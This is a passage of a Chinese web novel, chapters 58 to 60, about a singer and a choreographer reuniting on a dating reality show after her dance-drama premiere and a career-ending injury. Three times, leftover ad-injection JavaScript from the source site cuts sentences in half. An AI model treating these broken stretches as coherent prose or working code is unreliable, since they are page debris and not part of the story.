许钧闻曾经真的以为,她是为了在国外获得更好的发展机会才与他分道扬镳,也想过或许是时缈害怕影响到他的事业才主动离开,也猜测过是不是因为异国之恋困难重重让她失去了信心。 他一度在想,如果时缈真的如愿,成为了最顶尖的古典舞者,那么他也不是不能理解她当年的不告而别。 毕竟,那是她从学舞蹈时起就深深根植于心的梦想。 时缈放弃不了舞蹈,就像许钧闻放弃不了音乐。 这也就是为什么,在重逢后,得知时缈现在退居幕后不再跳舞,许钧闻曾有那么一个瞬间,陡然生出一股火气,他几次三番的侧面问她—— 如果离开他,她过得不好,那她到底为什么宁愿如此都不肯联系他? 可偏偏没想过。 当年信任过的工作伙伴竟在他不知道的时刻欺骗了他这么久。 一直到他因为工作理念和职业规划与孟巍不合而打起了解约官司,他都没有怀疑过孟巍曾在他和时缈的聊天记录里动过手脚。 看来,他还是高估了孟巍的底线。 既然如此,那有些脸面,他也没有必要给孟巍留着了。 58. 58首情歌 除了豪哥和时缈之外,没有人知道许钧闻究竟和孟巍之间打成了什么样的协议,许钧闻工作室那边的澄清回应仍然置顶挂在那里,一向颇有主意和手段的孟巍竟也没有新的动作。 像是从来都风云诡谲的海面忽然平静下来。 就在外界猜测,这一局的走向将会如何的时候,《适合恋爱的夏天》节目组官博发出预告: 「@适合恋爱的夏天:感谢大家的暖心支持和耐心等待~官博妹带着一个好消息出现啦!节目直播即将重启,录播tv版也会在不久的将来如期上线~本周六晚上八点钟,大家直播间不见不散哦~」 除了真正追看节目的观众们之外,评论区里还有很多人更好奇的是许钧闻是否还会继续参加节目的录制。 毕竟自从“抄袭”事件出现之后,许钧闻本人一直没有接受过任何媒体的访谈,也没有出席其他的活动。 还没等官博出面回应,许钧闻工作室几乎是在官博微博发出后的半分钟内就转发了官博的节目预告。 「@许钧闻工作室:不见不散!小室会搬着小板凳坐等的!」 节目组的官博也在许钧闻工作室的评论区里热情互动了几句。 双方这样大大方方的互动比任何文字说明都更能让观众和网友们信服。 其他观察团成员以及素人嘉宾们也纷纷转发节目组的微博。 将节目组提供的文案复制到文本框里,重读一遍,确认没有问题后,时缈的“节目专用宣传号”也转发了节目组的微博。 「@适合恋爱的夏天_时缈:好久不见~为了庆祝重逢,有个惊喜要送给大家哦~」 自从时缈上了节目之后,即便除了配合节目组宣传之外,这个号上很少发动态,可这个号的粉丝数量还是一直在稳定持续的增长。 后台也逐渐出现了各种各样的品牌pr的私信,都是希望她能给他们的产品拍广告带销量的。 时缈对于当网红带货这件事没什么兴趣,但随手点开几个知名度比较高的品牌账号的私信,对方报出的单条视频广告的价格还是让时缈忍不住咋舌。 怪不得人人都想当网红呢。时缈忍不住感叹。 时缈之前为数不多的微博评论区已经快被前来打卡的网友们盘包浆了。 这次她的微博刚发,就有不少活跃在互联网最前沿的粉丝们前来打卡占领她的评论区前排。 时缈发完微博之后并没有陷入对数据的欣赏,而是随手将手机屏幕熄灭后放到了一边,继续去做自己的事情去了。 等她忙完手头的工作,重新拿起手机想看看在她法分身乏术的这段时间里有没有错过什么消息的时候,屏幕一解锁,首先映入眼帘的就是“评论”和“点赞”后面跟着的小红圈,上面还缀着三个字符: 99+。 时缈习以为常地点了进去,想看看网友们又有什么新奇有趣的回复。 却惊恐的发现,这“99+”的消息并不是冲着她来的。 挂在她这条微博评论区最上面的热评,居然是来自许钧闻。 没错,不是高仿号。 时缈甚至点进去又退出、退出又重新点进去这样来来回回确认了三遍。 「@许钧闻_V:好久不见。」 许钧闻的大号,在她转发的节目组宣传博下面留了一条评论! 这消息很快就被传到了节目组、许钧闻的超话里,引来了更多网友的关注和好奇,很多人纷纷涌入时缈的主页,只为了截图到一张自己账号和许钧闻账号的“合影”。 时缈看着这条评论,为难得不知道改怎么回复。 但很快,时缈再一刷新,她的微博评论区里也出现了其他几个观察团成员们的评论。 「@程子归_V:好久不见!」 「@青葭:好久不见~」 「@祝意安:好久不见,期待惊喜[星星眼]」 时缈这才放下心。 原来是嘉宾们“团建”。 手机嗡嗡震动两下,许钧闻的问微信消息弹出来: 「许钧闻:周六见。」 时缈垂下眼睛,有些不安地咬了下嘴唇,但还是很快就回复过去: 「时缈:周六见。」 * 时缈所谓的“惊喜”,就是她亲自操刀的首部古典舞剧《姗姗》,即将在周六晚上八点,开启它的第一次演出。 之前和舞团商量好,邀请节目组的嘉宾们一起来观看《姗姗》的首演,当时节目组欣然答应,并为了这个“集体活动”调整了拍摄的计划和安排。 但还没等到舞剧播出,节目就因为许钧闻陷入风波而暂停录制。 当许钧闻那边的事情处理得差不多,孟巍似乎也没有其他多余的小动作之后,豪哥出面围绕节目重启录制和直播的事宜和节目组沟通了一番。 节目组翻开日历,思考应该把重启直播的日子定在哪一天。 恰好发现,这周六就是之前和时缈商量好的,所有人一起去看她的舞剧的首演的日子。 来得早还真不如来得巧! 既然如此,不如就用时缈的舞剧作为节目重启录制的开幕吧! 节目组的工作人员立刻联系了时缈,并在时缈的安排下,来到了舞团,和舞团以及剧院领导们商议了当天的拍摄计划。 一切似乎都在朝好的方向发展。 这让时缈近期一直紧绷着的精神终于有了能轻松几分的时刻。 作为这部剧最重要的主创,这一天,时缈自然是一直守在剧场里的。 在正式演出开始之前,她必须紧盯每一秒的每一个环节,绝不能让以前发生在她身上的痛苦悲剧再次在她的眼皮子底下发生在这些年轻舞者们的身上。 因此,许钧闻抵达的时候,看到的就是叉着腰站在舞台下方,耐心地跟所有抓紧最后时刻走台的舞者们做最后的叮嘱。 “在表演的时候一定要时刻注意安全!尤其是小颖在跳第三幕的时候,一旦有任何问题,随时示意我们,我们都会在台下和舞台旁边看着你们的,知道吗?” 参加这个舞剧表演的演员里有一些还是第一次登上舞台正式演出,脸上带着很明显的紧张。 时缈透过这一张张年轻姣好的脸,仿佛看见了当年一门心思扑在跳舞上,希望有朝一日自己也能成为舞团首席的小姑娘。 “哇——” “快看快看!” “来了!天呐,是真人嘛!” 发现台上舞者们忽然的躁动,时缈似有所感地回了头。 不远处,修长的身影倚在观众席的座椅椅背旁,头戴一定黑色鸭舌帽,面上还带着一只口罩。 但那双仿佛看谁都多 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情的桃花眼还是暴露了他的真实身份。 见时缈朝他看过来,许钧闻直起身,施施然朝她走过来。 他的怀里抱着一束花,待他走近,时缈才看清那是一束开得正好的黄色百合。 “演出顺利,大艺术家。”许钧闻将手里的花递给她。 时缈看了一眼花,看了一眼许钧闻,又用余光扫了一眼激动得窃窃私语着的舞者们。 “谢谢许老师。”时缈笑得客气,双手将花接过来。 大庭广众的,她当然不能让许钧闻难堪。 “怎么来的这么早?”时缈看了一眼手表,距离直播开始还有两个多小时。 其他嘉宾恐怕都还没出发呢。 “我一直也对古典舞很感兴趣,这些年也在世界各地看了很多经典的演出,”许钧闻的借口找的冠冕堂皇滴水不漏,仿佛事情的真相就如他所说这般似的,“咱们现在好歹也是……” 他不着痕迹地微妙停顿了一下,笑笑:“是朋友了,自然是要提前来给你加加油打打气的。” 时缈点了点头,向他介绍自己身后的人:“这些事这次出演这部剧的舞蹈演员。” 含笑回头看了一眼身后激动得都已经忘记了紧张的小年轻们,时缈玩笑道:“他们其中很多人都很喜欢你,不知道许老师能不能给我们的演员们签个名?” “当然可以。”许钧闻点点头,一副公事公办的语气,“有没有纸笔之类的?” “后台应该有,我把这花放一下,给你拿纸笔过来。” “我和你一起去吧,刚好,一直都是作为台下的观众,今天趁这个机会我也看看表演前的后台是什么样子,和我们平时出去参加活动时的是不是差不多。” 两人一前一后走去后台。 时缈有些不好意思地给他打预防针:“可能会有点乱,你不要介意。” 许钧闻轻笑:“能理解,我们有时候参加活动,很多个艺人共用一个化妆间的时候,经常满世界都是衣服、化妆品和道具,过道都没处下脚了。” 时缈领着他推开后台化妆间的门。 果然,门内一片狼藉。 “这是我们舞蹈演员化妆的地方,”时缈简单给他看了一眼,并没有带他进去,“旁边是我的临时办公地点。” 她带着许钧闻推开了隔壁的门,示意他可以跟自己进来:“我记得我抽屉里应该有纸笔,你看看能不能用,我们很多舞蹈演员真的都很喜欢你的歌,听说你要来看都激动的不得了。” 时缈说着,把手里的百合花放在桌角,刚要侧身去拉开抽屉,就被人轻轻拉近了怀里。 “时缈。” 许钧闻这个拥抱很轻,并没有刻意去禁锢她,只要她稍一使力,就能挣脱出来。 可偏偏时缈没有。 熟悉的薄荷和橙花味纠缠着她的感官,让她不忍心在这一刻将他推开。 六年前,出演人生第一个也是最后一个舞剧女主角的时缈,上台前没能得到爱人的拥抱和祝福。 六年后,由她操刀的舞剧第一次正式演出前,许钧闻带着一束开得灿烂的百合花,轻柔又郑重地拥抱了她。 时缈鼻尖微酸,心头一片柔软。 她听见许钧闻的声音落在自己耳畔。 “演出顺利,我的大舞蹈家。” 他说。 59. 59首情歌 开场前,即使时缈本人不在台上,也紧张得心都快要跳了出来。 但很神奇的是,当酒红色的幕布缓缓拉开,将所有的注意力都放在舞台上舞者专业精湛的演出上之后,时缈满心的紧张逐渐平复下来。 虽然这部舞剧的每一幕故事情节、每一个动作细节对她而言都再熟悉不过,但此刻,她还是像每一个第一次看这部剧的观众一样,被舞者们呈现出的故事剧情所打动。 * 这部剧的名字叫做《姗姗》。 但并不是人名的那个“姗姗”,而是“姗姗来迟”的那个“姗姗”。 讲述的是一个从小热爱绘画、梦想成为一个画家的少女,因为一场意外车祸,双眼无法挽回地失去了光明。 在那之后,女孩消沉了很长时间。失去了视觉,意味着她再也没有办法辨别出丰富多彩的颜色,无法感知深浅不一的光影,所有她挚爱的亲朋好友的面庞从此只能成为记忆里终将逐渐褪色的画面。 关心她的亲人朋友们想了很多办法帮助她振作起来:带她去听海浪拍打沙滩的声音;为她准备丰盛美味的食物;骑车带她感受风从耳边掠过撩动耳畔碎发时带来的痒意。 可这一切收效甚微。 少女还是对任何事情都提不起兴趣,整日郁郁寡欢,家人甚至不敢在她面前提起“画画”这两个字,生怕提及她的伤心事。 一个普普通通的深夜,女孩失眠睡不着觉,摸索着想要下楼去院子里吹吹夜风。 失去了视觉后,她的其他感官变得愈发灵敏,平日里可能会被忽略的微小声音现在都能被她察觉。 因此,她并没有错过父亲小声安慰、母亲止不住地啜泣的声音。 他们无比自责:作为她最亲密的家人,既无法分担她的痛苦,也无法帮她走出阴影。 女孩站在走廊拐角处静静地听了一会儿,转身轻手轻脚地回到了自己的房间。 第二天,父母惊讶地发现,自己的女儿像是变了一个人似的。 自车祸后就开始变得拒绝交流的少女忽然在早餐时夸奖了母亲今天做得三明治很好吃;即使看不见,她也还是朝着父亲拉开椅子时发出的声音的方向浅笑着向父亲道了一声“早上好”;上门探望她的朋友给她带来了她很喜欢的歌手的新唱片,少女亲切地邀请朋友留下来和自己一起边听歌边吃下午茶。 甚至,少女主动提及了家里那间自从她出事故之后就一直尘封着的画室,表示那间屋子一直闲置也有些浪费,不如将用不到的画具便宜二手卖给其他喜欢绘画的孩子们。 女孩的父母既惊讶又心疼。 但还是同意了她的提议。 女孩提出和父母一起整理那间画室,也算是和自己曾经亲密的伙伴和美好的梦想道别。 虽然整理收拾的过程已经足够小心,但少女还是不小心将一排颜料撞翻在地,人也被画板架脚绊了一下,扑坐在地上。 少女洁白纤细的双手被洒在地上的颜料沾满,印在地面上的掌印像一朵五颜六色的花。 女孩被父母一左一右地扶起来,坐在一旁的椅子上。 母亲拿来一块布,仔仔细细地帮女儿擦手。 女孩垂着眼睛,手指捻动,感受着颜料倒在掌心中的触感。 以前画画的时候,她从来都是用眼睛去辨认形状和光影,可当她失去了视觉,用触觉感知这个世界的时候,她忽然发现,原来每一个个体都有它与众不同的触感。 忽然,女孩抬起头,问父母:我的左手和右手分别是什么颜色? 父母不明所以,但还是耐心地回答了她的问题。 紧接着,女孩张开双手,要求父母在她的两只手上倒入与刚才不同的两种颜色。 父母照做。 几番尝试下来,女孩惊讶地发现:每一种颜料的触感之间原来也有不同! 一个大胆的想法在她的脑海里冒了出来—— 是不是,以后,她可以通过触感来辨别颜色,重新拾起自己的画笔和画板?! 起初,所有人都不看好她的这个想法。 自古以来,哪有盲人成为画家的? 但为了让她开心起来,大家都由着她去做她想做的事情。 一开始,女孩的“画作”简直可以用“一塌糊涂”来形容。 构图歪七扭八、配色极不协调,与女孩失明之前的水准有着天壤之别。 可是,见到她用手掌“辨别”颜色时的专注与投入,女孩的父母实在不忍心打击她。 日子一天天的过去。 亲朋好友们早已习惯了女孩每天泡在画室里,一待就是一整天。 画室外,是亲戚来家里串门,与女孩的父母握手寒暄的热闹场面。 画室内,是少女浑身上下沾满颜料,把双手当成画笔的作画情景。 有宾客上楼敲门,想和女孩见见面。 女孩打开门,侧过身的同时,露出了背后的画板—— 橙黄交叠过渡的夕阳余晖笼罩在碧蓝的海面上,天边一对海鸥飞过,投下两道翩然灵动的影子。 海面上有浪花掀起,浪头飘着一艘渔船。 颜色瑰丽,线条交叠,冲击力极强。 * 在整部剧的最后,女主角站在窗前,面朝辽阔的大海,即便眼睛看不见,但这片辽阔无垠的浩瀚世界已经永远融入进她的生命当中。 台上舞蹈演员的动作定格在原地,大幕缓缓落下。 台下仍沉浸在剧情当中的观众们这时才回过神来,掌声如雷鸣般席卷而来。 时缈以及其他幕后工作人员一起上台,与舞剧演员们一起向观众们谢幕。 因为知道今天这场演出会被《适合恋爱的夏天》节目组直播出去,众人便簇拥着时缈,希望她作为主创团队的核心人员做一个简短的谢幕感言。 这是时缈继受伤之后,第一次从舞台中央的角度朝台下看去。 上一次被观众们注视着的感觉,她以为自己早就忘了,可真当她重新站在这里,那种激动与兴奋的感觉仿佛从来没有改变过。 “感谢大家能来看我们《姗姗》的首场演出,在刚开始排这部剧的时候,同事们就问我,‘姗姗’是女主角的名字吗?” 时缈听见台下传来细碎的笑声,大概是因为台下的观众们也有同样的疑问。 她浅笑着继续说道:“我说‘不是’,这部剧的‘姗姗’是‘姗姗来迟’的‘姗’,就像女主角最终还是找到了和梦想并肩而立的方法一样,希望我们所有人在千帆过尽之后,都能找到自己热爱的事业、向往的生活……” 说着,她将目光投向了坐在观众席第三排正中间的某个人身上。 顿了顿,时缈继续说道:“以及,互相喜欢的人,哪怕迟一点,也没有关系。” 导演组对于时缈的发言 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 非常满意—— “互相喜欢的人”啊!不正是咱们恋综的主旨嘛! “素材都留好啊,等下备采的时候,围绕‘向往的生活和喜欢的人’这个点给每个嘉宾都设计一个相关的问题,呼应一下咱们节目的主题哈!”导演交代道。 说完,导演继续用一种欣慰的目光看向机器画面正中央,被舞台灯光笼罩着的女人。 请到时缈,他可真是请到宝了! * 演出结束后,时缈并没有参加舞团的庆功宴——她要和节目组的大家一起回别墅,今晚节目的录制并没有结束。 “要坐我的车吗?” 一行人走到停车场,白景川主动对时缈说道。 「来了来了!又到了我最爱的修罗场了!」 「该说不说,恋综最抓马也是最好看的就是厨房剧情和停车场剧情了!」 「如果我没记错的话,在节目暂停录制之前,时缈才跟白景川把话说开?好家伙,这哥停止录制了一段时间之后是失忆了吗?」 「女生可以拒绝,不代表男生不能继续追求啊!哥越挫越勇屡败屡战,最终一片赤诚之心感动了妹,然后抱得美人归!剧本我都写好了,就给我照这个演!」 “不介意带我一个吧?”温璐主动上前为时缈解围,“我还有好多关于刚才的舞剧的感慨想和咱们的大舞蹈家探讨呢!” “大舞蹈家”四个字,轻而易举地触到了时缈的神经。 她下意识地回头扫了一眼,恰好看见许钧闻插着口袋朝他们这个方向走过来。 “你们这车还有位置吗?” 许钧闻站定在时缈身后,目光越过时缈,对上白景川的视线。 “导演坐我们那车,位置不够了。” 「笑死,谁能想到节目组的工作人员趁车离开的时候居然会忘记导演啊!」 「导演左右张望找副导演的时候的表情真的很无助哈哈哈哈哈!」 「哥们儿,别拍恋综了,该成旅行类真人秀吧,我看还挺有意思的。」 「别说,真还别说,今晚来看舞剧以及之前在谷峪勒旅游的部分拍得还都挺好看的,要不咱们换个赛道吧导演,反正我看你们这节目这一季也没有能成的。」 「林问→罗姐→白哥→时缈,这个世界是一个巨大的食物链。」 「啊,我嗑的cp又有同框了!时钧力敌了解一下!」 「hetui!混进来了什么脏东西!叉出去!」 白景川推了下眼睛,中断了这无声的对视。 “当然可以。大家上车吧。” 温璐刚准备打开后座的门,手都摸到车门把手上了,一旁的许钧闻忽然开口:“温璐,要不你坐前面吧,我记得你不是说你晕车吗。” 温璐:“啊?” 她不记得她晕车啊? “是不是……” 温璐迟疑着回头,以为是许钧闻记错了,可对上许钧闻要笑不笑的表情,温璐忽然有一种直觉,是那种猎物即将落入大灰狼陷阱之前突如其来的求生欲所激发的第六感。 出口的话打了个弯:“是不是我之前在谷峪勒的时候随口跟明浩提起来的时候被许老师听见了?哈哈,许老师真是周到啊……” 说着,温璐一把拉开了车子的副驾驶,目不斜视地坐进去。 她今晚就是晕车! 天王老子来了她都晕车! 60. 60首情歌 车子四平八稳地行进在回别墅的路上,进入夏季,江城的天气已经渐渐热了起来,鉴于温璐“晕车”,白景川贴心地把前排的车窗摇下来一半,让自然风吹进车里,驱散了初夏闷而潮的热气。 “这样你应该会舒服一些。” 绅士又体贴。 温璐忙不迭点头:“哦,好,谢谢谢谢。” 她只以为许钧闻是想坐后座,所以恰好在她去开后座车门的时候拦住了她。 甚至温璐心里还有些劫后余生的庆幸,毕竟和大明星单独坐在后座,压力想必不是一般的大吧。 思及此,温璐忽然觉得自己有点对不住时缈,就这么抛弃了姐妹情,留她一个人在后座“近距离”和许钧闻待在一起。 于是,温璐下意识朝后视镜里扫了一眼,想看看后座两人的情况。 许钧闻手肘支在车窗框上,撑着下巴,侧着头看向窗外,嘴角抿成一条直线,情绪看起来有些沉闷的样子。 而坐在他身边的时缈,双手交叠着放在膝盖上,正襟危坐,目光却小心翼翼地朝旁边的人飘过去,像是有些心虚害怕似的。 温璐的目光在两人中间打了个转,霎时觉得更对不住时缈了——瞧瞧徐大明星把今晚的“女主角”给“吓”成什么样了! 就是不知道到底是哪个没眼力见的惹到这位祖宗了,明明舞剧刚开场的时候他看起来还蛮有兴致的。 “那什么,时缈,恭喜啊,今晚的演出真的很成功。” 温璐主动开口,试图打破车内的沉默:“我好几次在下面看得都忍不住流眼泪了呢。第一次知道原来古典舞剧是这样子的,我以后有时间的话一定会常去看的。” 听见温璐提起今晚的演出,时缈眉眼柔和地笑笑:“是吗,你们能喜欢就太好了。” “虽然我对舞蹈没有什么了解,但是今天的剧目是真的将我带进这个故事里了,”正在开车的白景川也加入了话题,“怪不得以往人们都说,能够通过文艺作品看到创作者的内心世界,这一次我算是切实体会到了。” 「哟哟哟,我就说,直球哥肯定还没死心!这不摆明了就是说他懂她的作品嘛!高山流水伯牙子期谁懂啊!」 「呜呜呜呜姐姐要不咱们就看看白哥吧,感觉白哥真的是个好人」 「摆明了就是来这个节目给自己的舞剧打广告的吧,这还看不出来吗?人家压根就没奔着处对象来,一点都没诚意,呵呵,节目组下次能不能别请这种嘉宾了?」 「我说弹幕有些人别太爱男了,怎么,看不上这几个男的就是没诚意、想红、博出道了?就不能是没眼缘、不喜欢、没感觉?」 白景川后半句话不说还好,一说出口,时缈明显就能感觉到身边的气压又低了两分。 不仅时缈,一直紧跟着有许钧闻画面的直播间的观众粉丝们,也看出了许钧闻在车上的沉默和冷淡。 「许哥怎么不说话?」 「我怎么觉得许钧闻有点不开心?」 「我哥这几年经常飞去各种地方看古典舞剧,不说是这方面的专家吧,但至少也是见多识广能分辨出什么是好什么是坏,看完这个演出之后兴致缺缺,摆明了意思就是这个舞剧并没有其他人捧得那么好,所以懒得搭话呗。」 「好好好,前脚批判别人的感情,现在又来指点别人的职业了?许粉别太过分了,有本事你去排个剧给我们看看?」 「吵不过就是“你行你上”?这年头评价个冰箱还需要制冷了?」 许钧闻板着脸不吭气的时候显得十分不好相处,从前在学校里就是如此,很少有人能在他面无表情的时候读出他内心的情绪。 而时缈就是那“少数人”之一。 打从许钧闻坐到她身边的时候,时缈就敏锐地察觉到了他此时心情不佳—— 个中缘由其他人不清楚,但她却已经能够猜到。 因此时缈这路上一声不吭,很大程度上是为了避免让车内同行的另外两个嘉宾提起刚才那部剧的话题。 可偏偏还是没能如她所愿。 如果说,温璐的话头只是让许钧闻再次回想起《姗姗》所讲述的剧情的话,白景川的那句“通过文艺作品看到创作者的内心世界”就实打实地在许钧闻敏感的神经上扎了一刀。 “这部剧是你什么时候开始构思的?” 白景川似乎对这部剧很有兴趣,当然,或许令他更有兴趣的是创作这部剧的人罢了。 “以你的年纪,看上去不会是个能写出这么曲折低沉故事的样子,最后一幕所表现出的豁达和释然,也很出乎我的预料。” “看来前几年,你在国外打拼得也蛮辛苦的吧。年纪轻轻在那样一个人生地不熟的地方,很难想象你一个小姑娘是怎么过来的。” 白景川声音不大不小,恰好足够车里的人听见。 「该说不说,白哥真的蛮温柔细腻一个人啊。」 「这要换我我简直感动死了!」 「姐,你不要的话不如把哥留给我TT」 不少实时蹲守直播间的观众们都被白景川的话触动到了,纷纷在弹幕感慨起他的温柔体贴,同时也对这对看上去颇为登对的俊男美女没能擦出爱的火花表达了十足的惋惜。 可这些话落到当事人的耳朵里,那可就是另外一回事了啊! 哥! 大哥! 求你了! 别说了好吗! 时缈感觉这一刻自己的脑袋几乎快要爆炸了。 虽然她有一阵子的确过得非常消沉,说出来可能也确实足够引人唏嘘——此时若换成一档选秀节目,时缈恐怕还能靠这段故事虐粉提纯赚流量也说不定。 可她本人真的一点卖惨的心思都没有啊! 诚然,她在创作《姗姗》这部剧的时候,融入了自己很多的感悟和情感,但她的本意并不是让观众们因为这部舞剧背后的故事从而同情她本人,因此自始至终,在任何人面前,时缈都没有主动提及过自己腰伤的事情。 可如今,白景川这句话简直是把她本人推到了众人的目光之下。 随着他的那几句感慨,不少直播间的网友都已经开始脑补时缈在异国他乡的艰苦生活并且对她表示怜爱了。 更重要的是,刚才许钧闻听见白景川这话,显然也是将她提及的“受了点小伤”的事情同《姗姗》所传达出的剧情和情感联系在了一起! 时缈的太阳穴突突直跳。 以她对许钧闻的了解,这下好了,她恐怕今晚无论如何都得给许钧闻一个解释了。 * 入夜,窗外天色已经黑透,节目组的直播间也终于关闭。 时缈这才得以稍稍放松下来。 作为最先备采结束的女嘉宾,她一个人待在房间里也没什么其他事,索性盘腿坐在地毯上慢吞吞地收拾着自己的行李。 离开了别墅一段时间,再次回来,时缈仍有种身处梦中的感觉。 不论是《姗姗》的成功首演,还是和许钧闻这预料之外的重逢,这短短一个月,发生了太多事情,给她造成的情绪波动可以说是比她在国外那几年加起来都多。 想起许钧闻,时缈又不可避免地回忆起下车前,他朝自己投来的意味深长地一瞥。 随意放在手边的手机“嗡嗡”震动两下,时缈低垂着眸子,不必看都猜到了是谁发来的消息。 「许钧闻:上楼。」 时缈踟躇着,正在思考要不要借口温璐马上就要回来以此给自己争取一点点的缓冲时间。 谁料许钧闻像是看穿了她的想法,紧接着第二条消息就追了进来: 「许钧闻:不然我就下去了。」 时缈眉心发紧。 许钧闻那家伙,说出来的话就没有他不敢做的。 「时缈:好。」 打开门环顾了一下周围,确定走廊里现在没有任何人、墙角挂着的摄像头也已经被关闭,时缈这才稍稍放心几分。 临出门前,时缈折回房间,从床头柜的抽屉里摸了几颗夹心巧克力,这才脚步飞快地朝四楼走去。 站在许钧闻的房间门口,时缈深吸一口气。 “叩、叩、叩。” 她轻轻地敲门,生怕惊动其他人。 没一会儿,房门被人打开。 许钧闻似乎已经洗漱过了,身上清爽的沐浴露气息争先恐后地扑面而来,而他额前的碎发也还湿着,软软的垂下来,显得整个人有种格外居家的气质。 他看她一眼,没什么表情:“进来说。” 时缈咬了咬唇,手缩进口袋里,摸了摸那几颗巧克力的外包装,这才提心吊胆地跟上去。 “聊聊。” 许钧闻坐在沙发上,长臂随意搭着靠背边沿,虽然是坐着,但仍有种聛睨一切的气势:“说说你那部剧吧,大编导。” 时缈轻轻嗓子:“也什么好说的吧,就是那时候不是跟你说过,在舞团的时候出过一点事故嘛,后来就不跳舞了,再后来,就转行去学编导了。” 许钧闻嗤笑一声。 这一回,换任何人来,都能听出他话语中的愠怒:“出过一点事故,后来就不跳舞了?时缈,你拿我当傻子耍呢?到了放弃舞蹈的程度,你跟我管这个叫做‘小事故’?” 说着说着,许钧闻的声音染上一丝克制不住的颤抖。 “你之前说,养伤的时候联系过我,我没有回复,就是这一次,对吗。” 虽然是问句,但他用的确实陈述的语气。 显然是已经得到答案了。 那些被她云淡风轻地用几句话待过的“小事故”,其实足够毁灭她作为舞者的整个职业生涯。 在台下看剧的时候,许钧闻就隐约察觉到《姗姗》的背后,是时缈感受和阅历的投射。 一股无力感和愤怒交织在一起,迅速席卷了他。 许钧闻知道时缈对舞蹈的热爱和执着,因此几乎可能想象到那段时间对时缈而言是何等的艰难和痛苦,而他,恰好在她最痛苦的时光中缺席。 造成这一切的,既有他自己的疏忽,也有孟巍的从中作梗。 许钧闻怎么可能不愤怒? 这愤怒不仅仅因为时缈的隐瞒,更多的是因为自己的无能为力。 六年前,时缈的隐瞒是为了不耽误他的前程。 六年后,时缈的隐瞒是为了让他不要陷入过去从而自责。 从始至终,她都在为他考虑。 时缈原本以为许钧闻会继续质问她究竟为什么至今都还在试图向他隐瞒真相。 可他并没有。 房间中的气氛陷入凝滞。 她眨了眨眼,轻手轻脚地走到许钧闻的面前。 时缈将手搭在他的肩上,柔声道:“这不都是过去的事了吗,许钧闻,过去的事就让它过去吧。我们现在还能够重逢,就已经是一件足够值得开心的事情了,不是吗?” 许钧闻抓了一把额前的头发,露出锐利的眉眼和光洁的额头,那双桃花眼里像是蕴着风暴,似乎要将时缈毫不留情地卷进去。 时缈被他直白的目光盯住,有一瞬间的怔愣。 正在想要继续说些什么才能安抚许钧闻的情绪,时缈只感觉到自己手腕上传来一股极大的力道,在她还没有来得及反应的时候,将她一把扯了过去。 慌乱间,时缈只好紧紧扶住许钧闻的肩膀。 把他当做自己的支点。 视野一阵翻覆,时缈整个人被许钧闻按进怀里。 她跪在许钧闻两腿之间的一小块空出来的沙发上,膝盖下陷,许钧闻身上好闻的清凉薄荷味铺天盖地地染到了她的身上。 脖颈间领口处露出来的一小块皮肤,被他发丝上滴下来的水珠打湿,尖锐的凉意激得她抖了一下。 许钧闻似乎以为她那一抖是想躲。 按在她后背上的手力道更大了,掌心紧紧贴着她,热度透过T恤单薄的布料熨在她皮肤上。 许钧闻将头埋在她的颈窝,以至于说话的时候有点闷闷的。 “伤哪儿了。”他问。 “腰上,”她低声回答,“就你按住的这个地方再往下一点点的位置。” 他随着她的指引,按到她曾经受过伤的地方,轻轻打圈揉了一下。 “疼吗?” “不疼。” “当时呢?” “忘记啦,都多久过去了。” 时缈轻笑。 那样尖锐的痛感令她至今都对“仰面失重摔倒”这件事有一定的阴影,可她并不想让他知道。 “撒谎。” 许钧闻忽然微微侧过头,不轻不重地咬了她颈侧的皮肤一口。 时缈一个激灵。 “怎么还咬人啊,大明星。”她无奈地笑笑。 许钧闻精准地拆穿了她的谎言:“之前在后院,你荡秋千的时候,我就发觉不对劲了。” 时缈回想起他说的那天晚上—— 她那时候的确有些跑神,以至于没有察觉到他从身后走进,被他的声音吓到也属实正常。 可她重心不稳摔倒之时,忽然变得惨白的面色,以及睁眼后那种心有余悸的眼神,当时许钧闻就已经察觉到了一丝异常。 而到现在,那些所有他觉得有些奇怪的小细节,如今都有了切实的答案。 “所以你这几年其实过得一点也不好,”许钧闻抱着她的手臂紧了又紧,像是要将这六年失去的拥抱全部补回来似的,“为什么不联系我?我连手机号都没敢换过。” 说到这里,许钧闻轻哼一声:“哪像你,说走就走,找都找不到。” 世界这么大,如果一个人有心想要从另一个人的世界里彻底消失,其实是一件很容易的事情。 时缈愣了一下,随即轻轻笑了: “火遍国内外的‘创作才子’许钧闻,拜托,我可是不论走到哪里都能听见你的歌。” 当年,时缈养好伤后,回到舞团办理退出手续,同时,由于她的身体已经不允许她继续完成她的古典舞梦想,在经过了一番深思熟虑之后,时缈还是委托了自己已经提前回国的父母去云京舞蹈学院为她办理退学手续。 她受伤的这件事,英国舞团这边隐瞒得极好。 毕竟,一个拥有一百年历史的顶级舞团,怎么会允许在这么特殊的时间、特殊的剧目上出现任何一丝一毫的差错呢? 而云京的学校这边,为了保护时缈,也并没有将她的情况告知太多人。 在同她视频会面确认她本人的退学意愿时,辅导员满心满眼地遗憾:“时缈,你……别难过,一定还有其他办法的,一切都会好起来的。” 虽然话是这么说,但辅导员也是舞蹈专业出身,时缈的腰伤,任凭任何一个演员看了,都知道她此生就算是彻底与登台表演无缘了。 可时缈原本 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是她们专业这一年的所有学生里,资质最好、悟性最高的,所有给她们班上过课的老师都对她赞不绝口,也正因如此,学院才会将这次出国交换的名额给了她。 原本是希望她学成归来,成为古典舞界的一颗新星。 却没想到,这场求学之路却成为了她舞蹈生涯上的噩梦与灾难。 “真的要退学吗?”辅导员实在觉得可惜,忍不住劝道,“咱们学校还有其他专业也是很不错的,你真的不考虑转专业继续学习吗?你之前的表现那么出色,如果你想的话,院里可以把你转去任何一个专业。” 说着,辅导员的眼神亮了亮:“你愿不愿意去读表演?之前也有因为各种各样愿意主动或被迫放弃跳舞的学生转行去学表演,现在也在演艺圈里闯出了名堂,以你的外形和资质,发展定然也不会差的。” 时缈知道辅导员也是为了她好,但她本人对于演戏的确没有什么兴致:“不了,老师,谢谢您。” 她婉言谢绝:“我对演戏没有什么兴趣,也不想进入演艺圈。” 